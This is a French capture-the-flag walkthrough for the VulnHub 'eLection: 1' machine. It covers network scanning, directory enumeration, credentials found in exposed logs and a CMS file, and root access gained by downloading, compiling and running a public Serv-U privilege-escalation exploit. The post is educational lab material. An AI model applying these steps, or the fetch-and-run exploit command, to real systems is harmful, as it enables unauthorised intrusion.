Aujourd’hui, nous allons nous attaquer au CTF eLection: 1 que vous trouverez à cette adresse :
https://www.vulnhub.com/entry/election-1,503/
Pour rappel, on a généralement 4 phases dans un CTF :
- Reconnaissance
- Enumération
- Exploitation
- Escalade de privilèges
Reconnaissance :
On doit d’abord repérer la machine sur notre réseau :
netdiscover
La machine à attaquer est en 192.168.1.47 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :
nmap -A -p- 192.168.1.47
Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)
On voit qu’on a deux ports ouverts : 22 et 80. On va commencer par le classique : le port 80 !
Enumeration :
On tombe sur la page d’accueil par défaut d’Apache. On va essayer de trouver un répertoire ou un fichier à exploiter.
gobuster dir -u 192.168.1.47 -w /usr/share/dirb/wordlists/common.txt
Alors on voit qu’on a un phpmyadmin mais surtout qu’on a un fichier robots.txt
Dans la liste, on voit qu’il y a le CMS « eLection »
Exploitation :
Après avoir analyser le site (code source, les liens), pas d’avancer notable. On va essayer de voir ce qu’eLection a dans le ventre 🙂
dirb http://192.168.1.47/election/
Dans la liste, on remarque qu’il y a une section ‘admin’ ah ah ah ça c’est top ! Et encore mieux, un répertoire de logs 🙂
Après avoir téléchargé le fichier system.log, on trouve des paramètres de connexion
Et bien voilà, on peut se connecter en tant que « love » et trouver le flag « user.txt«
Un des membres présents au CTF Party a fouillé dans les fichiers du CMS et en parcourant le contenu de « /var/www/html/election« , on trouve un fichier « card.php« . Il contient des données binaires qu’il faudra convertir deux fois de suite pour obtenir :
user:1234
pass:Zxc123!@#
Ce sont des identifiants permettant de se connecter à l’interface admin du CMS eLection
Un autre moyen trouvé est de fouiller les fichiers de config du CMS pour découvrir les paramètres de connexion à la base de données Mysql. En regardant dans les différentes tables, il a obtenu le même résultat.
On peut donc supposer qu’il y a un autre chemin possible en passant par phpmyadmin pour obtenir les paramètres de connexion de l’utilisateur « love« .
Escalade de privilèges :
find / -perm -u=s -type f 2>/dev/null
Dans la liste, on voit « Serv-U » qui sort du lot et on va voir du côté d’exploit-db.org et on trouve :
https://www.exploit-db.com/exploits/47009
wget https://www.exploit-db.com/exploits/47009 -O servu-pe-cve-2019-12181.c
gcc servu-pe-cve-2019-12181.c -o pe && ./pe
id
cat /root/root.txt
Et voilà, mission accomplie !!!